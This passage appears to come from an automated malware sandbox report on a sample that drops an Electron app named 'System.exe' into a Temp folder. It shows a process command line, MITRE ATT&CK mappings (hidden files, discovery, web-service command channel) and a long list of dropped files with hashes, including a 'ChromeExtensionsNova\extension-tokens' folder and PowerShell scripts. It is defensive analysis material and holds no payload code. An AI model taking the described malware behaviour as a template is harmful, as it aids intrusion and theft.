    "C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\System.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\Admin\AppData\Roaming\megamindnva" --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=2564 --field-trial-handle=1700,i,12238517845972717076,7081661105680796948,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
    3⤵
    PID:9688

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
PID:12280

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\ChromeExtensionsNova\extension-tokens\images\logo.png

Filesize
43KB

MD5
252b4fda07550496d330d819f15ceb3e

SHA1
650584312b310219a26d5fc20cb1804bb6c4dde5

SHA256
39eafade0656a3c0bd723ad576b1f00a0d625ebeef80ac01f965165ffc28cf1d

SHA512
a18529cc7325d3fce5fb5d32a63b74a8e2ff23a027c12fecdc111f14b1c601079512fce3ff5484a686aaa0dd1ea20083570707511541e4a6d7615053f3ffac49

Download Submit
C:\ProgramData\ChromeExtensionsNova\extension-tokens\images\logo128.png

Filesize
61KB

MD5
184829119ec9dd27f2c97fb9f2accd4e

SHA1
aa6652caa5ae6fcf316998d5546ca081577bccd8

SHA256
c5e1e6ea9fc48569d26235066bac249be39b49f751fe8eec3c58581a0cdb3b73

SHA512
e7256b639444a20ea6b16aa3f0c023afc2ec6c2994f92c1eebc02d4c28f275dc7c714f7945da3da5a8e83dd53b8283c632b4a9e7af88da609bf72c052a4b09ee

Download Submit
C:\ProgramData\ChromeExtensionsNova\extension-tokens\images\logo16.png

Filesize
1KB

MD5
f0f11cd478cc44d518c16820ede9d253

SHA1
cfaf8d2e071f2ade0894578e5b44e02032d27be4

SHA256
321695dbcac7b2ceb14ef2651705ead5c0c42815358082b758ee803a37e945bb

SHA512
ac736abf8a776918df4094929efc29f7ae643aeef8d9b464653e3b7272a0799e58dc961dacadfbf9f42f575dfba14df7e6f4b1256c2c83dfe333ffb2ed3a1de8

Download Submit
C:\ProgramData\ChromeExtensionsNova\extension-tokens\images\logo48.png

Filesize
5KB

MD5
2f0a6a34d9b95bba0e3358ddd41ff2ac

SHA1
f39a9e7aeab9fe86fd9034284516de40186e6e93

SHA256
6f575f1cac9f29b8f1f8a83a580811bdedeec88f9d4cb78ccecb553cba251ca5

SHA512
a3c2094377b355a56d7d69f2a53baac58ebf3b40c5c031ba60fbc6f53e72e67e537e7bddee1489bbae4b41ea23311ad6b6f5c841e7b070dcdeca4bb8a6043084

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
96ff1ee586a153b4e7ce8661cabc0442

SHA1
140d4ff1840cb40601489f3826954386af612136

SHA256
0673399a2f37c89d455e8658c4d30b9248bff1ea47ba40957588e2bc862976e8

SHA512
3404370d0edb4ead4874ce68525dc9bcbc6008003682646e331bf43a06a24a467ace7eff5be701a822d74c7e065d0f6a0ba0e3d6bc505d34d0189373dcacb569

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8d460ce715a00afd56cda62e926b8b17

SHA1
3aa1ed2a3cd5e6e1a3240f222492c9e49c4eaf22

SHA256
195c9d4857b9486e312f80264b31ef7e9ba014ececd7731397ee75ce8d8f38cb

SHA512
1b9efe45bea12e59e552dcce73d597ad431aa274621d96e5a3d146e28cfb11d9f5af256f0bc986e8d4d043f6352b9410d01ddb048bd57445f544502eaf28d969

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
88be3bc8a7f90e3953298c0fdbec4d72

SHA1
f4969784ad421cc80ef45608727aacd0f6bf2e4b

SHA256
533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

SHA512
4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
107102102e02e48f37f5318c7e113c43

SHA1
7fb10fc65c85fb4c050309f0872bc9389dcccc0d

SHA256
3c3f49948c1e832c86b959c32bc288ddedb500534b74df082f8967fc7f9976f7

SHA512
b108a47d7c3dd154cad44362b6cd557b7064096383d100e6cd64bfb19c4e2ad878ed4ee800776322ad3cc4bb721fb675b0ecab8f5661024188fa3aa19561841b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
e2a7fc20b443bab1d5f443e5cced0003

SHA1
fd875f15cf9bdea6d2e507365529fe151e26e399

SHA256
b977c66cd381a362076f0634005a18dbe3644cacb8d17f710076f39fb9e8d72f

SHA512
0442337dde316986c1b637ec1ee54159521a6b5b45cb1d6dcb07e16abd1babdd688d13132300f85e716c80c916f0e3ec04cf538a08a21a1efbf6737d6944ebed

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
8fe70e63c44ca0ecd48b0180321927d3

SHA1
1419bf270210e065da1a4a36ef0d7f88ca89ee04

SHA256
f748e385e9b3b1eed95616ddc565f705187c5a9f5cc6a5e5ac132e43eb681eb2

SHA512
b01393a29399d9415c7247bcd309c44487ad8ffacb91fac34900d34a32d01fb5ef21492ae5573457015ee5f598901d85f99f2ba51da40c8b2285ae84bc7c6c61

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\D3DCompiler_47.dll

Filesize
669KB

MD5
4329a4bdaf7fc432948d6512ef5d754e

SHA1
a057cdbbf0c78749861d116ac3f5dd3cdea68bf8

SHA256
171988e99e418492bb420ce70a82b97b5dffdba37cb9b70b7633290c829d6b6c

SHA512
0402fa2fd524ba5747c0ffe04f8f2802d7265a8c8efb4203f8af75e52ab408b30f53f0aeb5d07d71810103723e7c4ed7473005964f5f8a55839300bbe9198043

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\System.exe

Filesize
452KB

MD5
5624505fa0a6ea3f1b8da9cf36fd558f

SHA1
2889a914bcf127d679cf7c1eacd67b1f201f31d3

SHA256
2f5785c6f2ff27d463f74c809f77249f9b2a459b5c580b8c294108735880e215

SHA512
68a8bcf6460d0b20cd1d481fe9a658a27f916fefdb40735f3091b34b4c43ba60b69479c08ad222f2b6560ed8e81d929c2414fa29d2f12fe52850871203111a54

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\System.exe

Filesize
67KB

MD5
2e05c4cb1598ba747637ff1f6a76f91e

SHA1
106b163495a6b0bf7aa4789c8f6b987e81aca547

SHA256
f9922f4b8f7545c25a79d0defbcbc40299400070c534cf878870e194d437e80f

SHA512
0a47c7d8e881b7e26e40f5dae682001e3cdfdab446e309fa76fe59bf622339cf3eb020fbd971d80b6fcfa6b59e01b4bb2f1f3ed496d6f065009b79d438fb2efb

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\System.exe

Filesize
432KB

MD5
d50e59309cff120e44dac8021165b0e2

SHA1
1a84be986daf813249175fa71c95abaf4e0d534d

SHA256
a5947c9756d6b5d82f351f8ec6c23610bb7e03b8f544a41a36a91eee62ebeb4f

SHA512
7056a72d8cb54bc90e404cb7ff70f21c4feb5245b93807881669a09aafa702fa427a943095f2a110d1a85381beb724b9471522df474bc2261b8e89b6b379b8e8

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\System.exe

Filesize
384KB

MD5
60ef0bd28675b509a65843937464bf14

SHA1
6321c01ca2cbf6820afb6ec1f47e50fbf661a035

SHA256
ed997081c763e2629b3ca4fa1ee606ddef63644ecdd3bdea9a0181c60d37efb9

SHA512
04114cea8c8cc40a0529ce33e7f29a9c0341010cfc286f5362f0030f36faae017847e92670bb4f60c9c239e2c85f8e87a581a1c93e506eb6ccba4b93157024bf

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\System.exe

Filesize
316KB

MD5
f38ffd1dc5678933c48de0eb6a0a2afb

SHA1
7389e26a6447eac8eccf66718cb0a77aadfd6d42

SHA256
fe49b9be31352cf86caa01f98cfc2f6b1ceea2b96bf907354b5ec3e01d963f57

SHA512
7442f0b52fa1b72b84a71c455d5b81274880d29b736453cca56ffe5a3ed03a819243128b21c1ae665a9830d2e9e5bb58acf8ac0658d59f9698f5db8484160f08

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\chrome_100_percent.pak

Filesize
132KB

MD5
e4cbb48c438622a4298c7bdd75cc04f6

SHA1
6f756d31ef95fd745ba0e9c22aadb506f3a78471

SHA256
24d92bbeb63d06b01010fe230c1e3a31e667a159be7e570a8efe68f83ed9ad40

SHA512
8d3ea1b5ca74c20a336eaa29630fd76ecd32f5a56bb66e8cef2bce0fa19024ea917562fd31365081f7027dde9c8464742b833d08c8f41fdddc5bd1a74b9bc766

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\chrome_100_percent.pak

Filesize
64KB

MD5
e4a67f13a4e78c7fc28c17d4b3b6b84b

SHA1
0580071a4d4c67cb6a6790c2890974fedca9c833

SHA256
68ec9d1508a708f897b5b9f4a5a9ac91a9f1469aca1ae015def7b696b0ebe7e7

SHA512
8e2161c7f62fc9b90efdb64394847f4a3122157d5170310bd5e9de345f9ef6226a17c56d708a046c18a5d646e0ee07e24c3f1633d2163f896feebfd2eb6d72fd

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\chrome_200_percent.pak

Filesize
57KB

MD5
3c309a50681c5b8cb4d9d0a54e705802

SHA1
992acf76ce73dac73002b22e92ab82f8aa3f9143

SHA256
ddeeb130943d7159bc28204e5a79c77f7aacd5c3505a2fc137e93b913e32986f

SHA512
f070ef1e30bd6937761bbc2422616b2b9ef5629b6a2b50b25e1f5cf1da7caa1cf2b4018b44c364be374b054c0b3478446b33455f9559d99457d20bdca9384542

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\d3dcompiler_47.dll

Filesize
149KB

MD5
6f734c9e34faaaa2794bac1e0416ae01

SHA1
4897debcf29d4ea14d0e0ed9fc0578714c852f6b

SHA256
66f39a27435dde938c48607511be0216de465a751b084f34130011dc96c13850

SHA512
98793814cb51a6fe47c5e202b369cae15bd9ca8bbd5d0afea15e67f3f9e5fe7b689353de13130a824ddbf50a4517f1cca7c7cc45c91ddc11724848406ee12a90

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\ffmpeg.dll

Filesize
921KB

MD5
52613e0cbb8eeedc9202c64633fc2eef

SHA1
ba16676104acb891f40b3282d43c0ea6380338b4

SHA256
14b9b2a5e7ed1ef18ebf031827114023114a6379753683aca49738d4afeaa940

SHA512
6f2b0ecc3f4dea8e323af9315f2eda802abcb89796176f3ff2e2eb030883b4a0b7eb8b479bdfd2b2526f1b9b28d97afcbe92baad08fa98b6cbeeba41da98861d

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\ffmpeg.dll

Filesize
326KB

MD5
01a768a43cc7c0002183fd4a5d76f7e1

SHA1
a0a43a311ee8c2b5a7e7b74c9564f2b040887762

SHA256
68dbc1663b5aeb10e3ebb912e418e87623d38be09346d78ecd52cb5810a0ded6

SHA512
101a5f9b0cf87a4a79eae5dce934b28be2fc40e8ff7c3cfc0afdda286b0b17c458a4994994fa79b280340ba8a769a9f7d4e7c61e490878d9e597424a6c2f0ce5

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\ffmpeg.dll

Filesize
124KB

MD5
c84bd6e3b6cbffcd083b4c376572301b

SHA1
a8f09fd9d24ee10dd2826d33a738773ff455d4fd

SHA256
621190274a76db0022ea73566bf4721ac25cf3617a4d1227f110ad814f964547

SHA512
08cd25c5888befa3c2e37ede2fcc5aefd83c96f27433492e8e015661fa0f5b3db89bb709df6f1c42a568801b6bb99ee48be5661e0319e0800b86336ebb504e3b

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\ffmpeg.dll

Filesize
544KB

MD5
cc493d171a4057ef1e5999b41c809a75

SHA1
f6edf9a5ed6af2b5821523c58df9607cbc9bdedc

SHA256
38b9e2183161833eff34631c0c52bfe0e4a7280ab18f742f0d76782988b01960

SHA512
c695b8ade1f697359d232edbc9a01708f43f0d5d17a6d77329aec29aaaad63a4bc93e2d805389410d5b762cd52450aab6c4604aa45a512790bbe8c0b3abd39cb

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\ffmpeg.dll

Filesize
31KB

MD5
5ee71e91d4d33fffd2f69c4e38bc811e

SHA1
4b2ccd08e63654da4ba8ecfc2afcfc80f98ad6f7

SHA256
3bbaecd12c40722b1ab5563ae7b6369c3b16e0af1711dfede6ba70e1484dc52d

SHA512
507caa3dacf6bf94943b4bea3c003f188ef39a8d9934e519586fea8e7b28d2c71121d5f8c8a41406ff606b827f177091bf8f0d79061cf00a19a6875f26e9b3f9

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\icudtl.dat

Filesize
117KB

MD5
be9a7d019974474810adba4e1cb330e9

SHA1
223f95e1d58baf3a5c30a868130081495994fed6

SHA256
d3c28e3f9acd4d18f68ac128a4bf37bd44ab2584b4d5051e333662bf1b7720b4

SHA512
458ed6d79c0601016fd535bd2b9a6060f3e75190d5d249a189d7e8353e81fb1b5cd5aee41f14f5e68a390be0afc82e8262b0cc514320fe7b3614e248583ce982

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\libEGL.dll

Filesize
422KB

MD5
e9b0d79b09c52bcd92e15a957a070a0c

SHA1
e4acb439cfb0fdc7f9a18339bb1890f7d38b77cf

SHA256
f7a3d38e3268da4ec26e8416df3a9ca513befdc765d3ce2d297b26548b335547

SHA512
6bf8197e8d3d4bdf6c7f3bcb2c9f5dcf1b829fd070a0d4e9e225842d69939545a151a558fcf8952252e0d5345e878baa004fc15be21d5cee52e4a07286da0633

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\libGLESv2.dll

Filesize
375KB

MD5
0c6fae51f304fdcb9860356f731c902e

SHA1
5d5aaad25790aba6e2563aec666f23d76e8a21a2

SHA256
8485142d2171a2698b816dbb86c209d49779312ee2e22fb1338187523a727d46

SHA512
f768b0b6f39b655cb5b249e973e324fa8614cacd4c154dd946ab7e7844d9d47942bf2422882d4cd7385718c45a259eec99f10b86a985b9de6da8014fe7949ed4

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\libegl.dll

Filesize
391KB

MD5
31d73032193d168f543a1419c7b06a81

SHA1
5fa0717944838e9e04ad9a7504da756c8b4d73fb

SHA256
6db346e1596b6d542f8fbd42ca94c7436f207496f58003147f29915f4de79a1c

SHA512
071165c4f895c5d9442734ac497dbcc2d533b8bd4757bc4dffc5b7951604d866a95b81a506db858ddc1d69e92b7b85c4706886ccd6b13b0e5bec5bf4d609409d

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\libglesv2.dll

Filesize
303KB

MD5
9cf08f4da5df6407af561db8ad9b0604

SHA1
c404da6cb40d88ccbe55d0fe2a77b11c0220d45f

SHA256
8d2eb74ed147e3d2efac486090287230658edfc72758a14ab60392737f6b7503

SHA512
277207a4d233589e783f05601407b383e02836c3d6ea319fa4585911c2566dbbf862f54c03e554c89218d038a1d25804c9459d17330d7bd25f7d53c6b9c00816

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\locales\en-US.pak

Filesize
193KB

MD5
83c059878637e1607ec7ba53360e691c

SHA1
5356ea311d68b43548b43e1d6a0695d0513e2630

SHA256
01c2c0bbe1c14009954fdfd8ba8395a94bdd65408ea4701fc970a3e9f064b0cb

SHA512
838baf25f91e2c4fd943eae461bc7f338d77ca849ce1d1c360dd0755fa676538b46fb7682a6dbd6b8e3746df8212d0fddc3f86a0f90a27a4faae966e0f3eff88

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\locales\en-US.pak

Filesize
1KB

MD5
3a8d12bc760b022c782574842ba40b0b

SHA1
c9cca70c388793d8328e6e8b575fc201598881fa

SHA256
a88198f6ea68fe97136e0e2bceef787a640174999ab1e7907e96a3c69897e172

SHA512
6bea1d4643bc1643880cae63ed80064b98b6c5111d8dd9e77d0a66d5ecd5557d6f9c6c1675cc05f46bbf216b1d129d260e8c3700e3cf856bfbe9d25eb6046ce3

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\locales\gu.pak

Filesize
181KB

MD5
5811951c6b6ded2f44c1f538e13cbe16

SHA1
09ab274996feab18bf727a72d7bd8bb4e8788300

SHA256
c32eb350e3578797259efb69d64544b9c888cca37dc3a2df8e4baf59b23ceac3

SHA512
e4549d25d93b15d7ef957fef4fdb9c8b8278a8e4896a9fa0340423b46636ae13d59c3d04b38c66dcb20ca70b7f725c415a4229865fc66a38631a7df0357c9ad5

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\resources.pak

Filesize
25KB

MD5
7d7e674c96641c64a675f733f576ef14

SHA1
1f07f39e7613af1a99f654cd9e06987c6f2737ec

SHA256
f92270c4a61a9785256135244b44fa3e843a01ea1aaff7bdfd12ea50a05e0646

SHA512
cf1cc457e3ff49d02bc442f4af48c6bccbe8bc4d6fabe9a83cb0361f42b500d2c3966a23af8d95447d97d598f31a74e5b5047a2e97ddefa4df0c11f219501b9a

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\resources\app.asar

Filesize
190KB

MD5
e6b6625367ff880a5870d170a186642b

SHA1
d54437819326a2c9af0d286aa477fb5ab2dd2fd4

SHA256
5bed2d6d34eb867da4915f523d14192b7e6b9f119821410b424c4405f5b84cce

SHA512
a18e7841af78fa1aaa5eb1a8e2319a2da9a31ff91bf288d9595d5ddcd10dbd0015bf4dfdc4a640fe5f134697bb4896c85613c7aecef2f8093e9e645a73c554dd

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\v8_context_snapshot.bin

Filesize
287KB

MD5
8ba657923bf4046e6f43fbbd8d2d73b7

SHA1
8eb4e907eb8f20653ba35304955bfc39917f8b2c

SHA256
0dbaf389c0ef49228792624e59cfcc3505cad13adcd4f9f690290f1a8978c923

SHA512
cb8cb7e4a1995693a57d53f5cb4c675038a150fcde459289cb7b61eac7da7e3f8f99eb08924845428ed8c97741916e4861c5fc8aca38aa5e56dec88214507904

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\vk_swiftshader.dll

Filesize
333KB

MD5
10e73d87501363a894a5f17cacc8a9f0

SHA1
6cb9ea536963b8450221831a6e79e26831500789

SHA256
5283ebf01c2034aa259219956fbd2e682e11082e6b1b6c5c31d5443c29f37a6a

SHA512
813f64e21b17f398e37d5d8f6764abb4bffc67f397b151d5934a5942b9b65a310b4d905d082e98985f988e26de5a51c80b47c929a34ce3642b43e9159111e737

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\vk_swiftshader.dll

Filesize
765KB

MD5
d468fdbb2224f175e633742ada76bbf2

SHA1
c491b58b1e7e48688c524df49e2365bca00b95ab

SHA256
53f1554b0f965fae55ba91ee983ef5924762c6a48d421def45bf308b0d158cca

SHA512
d163692262963389545295a69c8f8b0c80a0807d71d6245d50587cba69562f0a04428f692f7fe4f8bb88c17c4ad0a60756292b2531f5c32c9075d353ce94d71a

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\vk_swiftshader.dll

Filesize
513KB

MD5
8b7be8ff4c7e16626910c323c9fca1c5

SHA1
3cca0ea09b9b7515fd08700a7143ca25ff214376

SHA256
19c306ad6e3d184ee72dbb30171cb910a685cdce0f0687cfa0709ced6dc29840

SHA512
fcee8b7bcb40de20f8296f62843bff990376212bfb975198cddd55800ca9f030b6891619ee371ed1f62c89153ddec1e53a84b4973e55c337f1050169203f009e

Download Submit
C:\Users\Admin\AppData\Local\Temp\744ce584-15c9-4226-b409-2496bb8d837b.tmp.node

Filesize
56KB

MD5
66f4ab9ef7a011d13eda953ba711e99e

SHA1
16cb17f6778014d6f07c65931bfb572433ac1b88

SHA256
9afba31dc57a9613dc98cabd37795511089816ea08360945b56650064f04fbe7

SHA512
315641858f2ba1cd2694c6466da2521a5918c54178149cb39b8b275a8702d5e5cdd9cf7df8101666464525b2033d1a8d77945791d3df45835007f02b2e2f2682

Download Submit
C:\Users\Admin\AppData\Local\Temp\GB_NOVA_Admin_89.zip

Filesize
2KB

MD5
b95553089c338c87e20c81d5a2de740a

SHA1
5c75897ee40a9a2c8775e5343084bef276a67fd3

SHA256
209ed8dea387b38dd55bb9c85ee4608c8315365ac6527a57014802f317a7acc8

SHA512
663772760ba1ee427dbc69839df48e47a4a58c3a3ec1f875561bd66325a7d72a9e0eb3508db2d21500ae96553425f20447fb4cd710610a164dafc9ff43c579d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\M0BJEFWFINpS_tezmp.ps1

Filesize
728B

MD5
dceb96dc59b9a6ecfcce8d751d53b1b6

SHA1
faae1d6db8ac9084aef7f0feb5886be8184580b2

SHA256
6a87c19e38836a3d39065296a7e1fa456060de164191ca50bd79feb010991d2e

SHA512
0dfe7bc84dd155131644dded66d474a38a1d2a3d37c7ec373b07729111a910632b7599510a5f23e18cf84100b1824b8606bb20c9523c2e4bc17632474a45b6ad

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5d5kuydn.tk5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\fa0f0aaf-8052-428f-88c3-bcfbe47bc665.tmp.node

Filesize
15KB

MD5
ab8fe20a6aa406471dbf64c4ffe8a400

SHA1
e51c8aff3d259f93906b7af5d716be167a578031

SHA256
d4d6bedcaa0367b66ed770b04c2e8a0ba20c699a542e85eb16da42218b87f2d1

SHA512
7cbfd3c0621d9b2b7cf1478909282f06fe64120ac6db490bbc2ea363b1fd78b7710d89bac9e7e52220da0b5c8023af7459b24afc4e7e0a576fa279e5f67108e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg5729.tmp\7z-out\LICENSE.electron.txt

Filesize
1KB

MD5
4d42118d35941e0f664dddbd83f633c5

SHA1
2b21ec5f20fe961d15f2b58efb1368e66d202e5c

SHA256
5154e165bd6c2cc0cfbcd8916498c7abab0497923bafcd5cb07673fe8480087d

SHA512
3ffbba2e4cd689f362378f6b0f6060571f57e228d3755bdd308283be6cbbef8c2e84beb5fcf73e0c3c81cd944d01ee3fcf141733c4d8b3b0162e543e0b9f3e63

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg5729.tmp\7z-out\LICENSES.chromium.html

Filesize
818KB

MD5
bcf267aae87b7fb598583eec5185ecfe

SHA1
ca4e531e817c7169545aca867c353d2fc0164108

SHA256
45db32e29d11b99db4e72deb006820f8f47b3ef9d28d9447c941700425d2b2f7

SHA512
1ead4accdbd25bf430a190e989c4ebfb57a5a097f85442a2498be441676552cdc340499fc0757f67e02b85134cbabbba305ef38fb404bb8e9ace4b2b0c8b4e4b

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg5729.tmp\7z-out\System.exe

Filesize
490KB

MD5
457b235addd3db5120f5b628a32d4488

SHA1
ce5bab3a101059cf5cc3d88ff9836b510432df8f

SHA256
bc83097c13576ffe3eddb364a725c9771f2c29bbc1aa9d9d52f7f972e4d945d7

SHA512
5d9f67da2a802b03064d00784626eb09491f7dac25d87e815293398c12f04d4d7855a7ace0790d50a83bb3225daf5b1ba02be9f819b6ac441dd8a20dc250b032

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg5729.tmp\7z-out\chrome_200_percent.pak

Filesize
191KB

MD5
99b95d59d6817b46e9572e3354c97317

SHA1
6809db4ca8e10edd316261a3490d5fc657372c12

SHA256
55d873a9f3ac69bbf6eb6940443df8331ebd7aa57138681d615f3b89902447e7

SHA512
3071cfeb74d5058c4b7c01bfe3c6717d9bb426f3354c4d8a35bd3e16e15cde2f2c48238cb6382b0703b1cc257d87fcecfb84fbf4f597f58e64463ceede4366dd

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg5729.tmp\7z-out\d3dcompiler_47.dll

Filesize
1.3MB

MD5
9994622988dfb7d369810f7de85841df

SHA1
31b4a7f466e8bd43ce6ee2cd3e03ac5e91651e73

SHA256
e48f93aff9592061ec0b4ce726cc97e44a05c883b76c287ba149debfa73a1a70

SHA512
e3b88b06a94238b8e460e0b7c5597ce701af3b654e14eb7fc75441068e6927300fe4cc0a5c9500f2bdc7faf98d9ed2870fcaf7e72a00a0f276bd0ecb5f38cc8b

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg5729.tmp\7z-out\ffmpeg.dll

Filesize
1.6MB

MD5
f5d6c719d7eb934a36c7e78d447efd21

SHA1
335ac6d2217c2f2029be833e318b361251b1d722

SHA256
984d486073fb450988db26e1395b9a46bd6ffb284e620689a9b99f7f1a3b5273

SHA512
c34d220e2a6aefbc56999cda20afc67b5bae37e22d2299f9d59a24aec7117cc3d306156e2f7f486fb0efd9890b1f365d0e01adb77fa7fe8ca5cc2022f3831066

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg5729.tmp\7z-out\icudtl.dat

Filesize
1.5MB

MD5
9ce2f60fc793c1f1af6e9ad346f11782

SHA1
cbd5073468355a09ca6c3f871308ff1e0e32ade5

SHA256
17d4541a5d9dcbb487e31d33619c914c04d39221f44c9076c4a3a243229aa4b3

SHA512
63b01add49355379a959af3dee917d288259b52918e67579dc403aec88ae988e55d888ca01064a5f8b74edec77358d46c5a0234683ba06ed0747e62052b03043

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsg5729.tmp\7z-out\libEGL.dll

Filesize
469KB

MD5
83ac3fb31b419b68e20b120077a8a623

SHA1
c9fce6914cd0901ca55bf7db6935ff5313ce1f98

SHA256
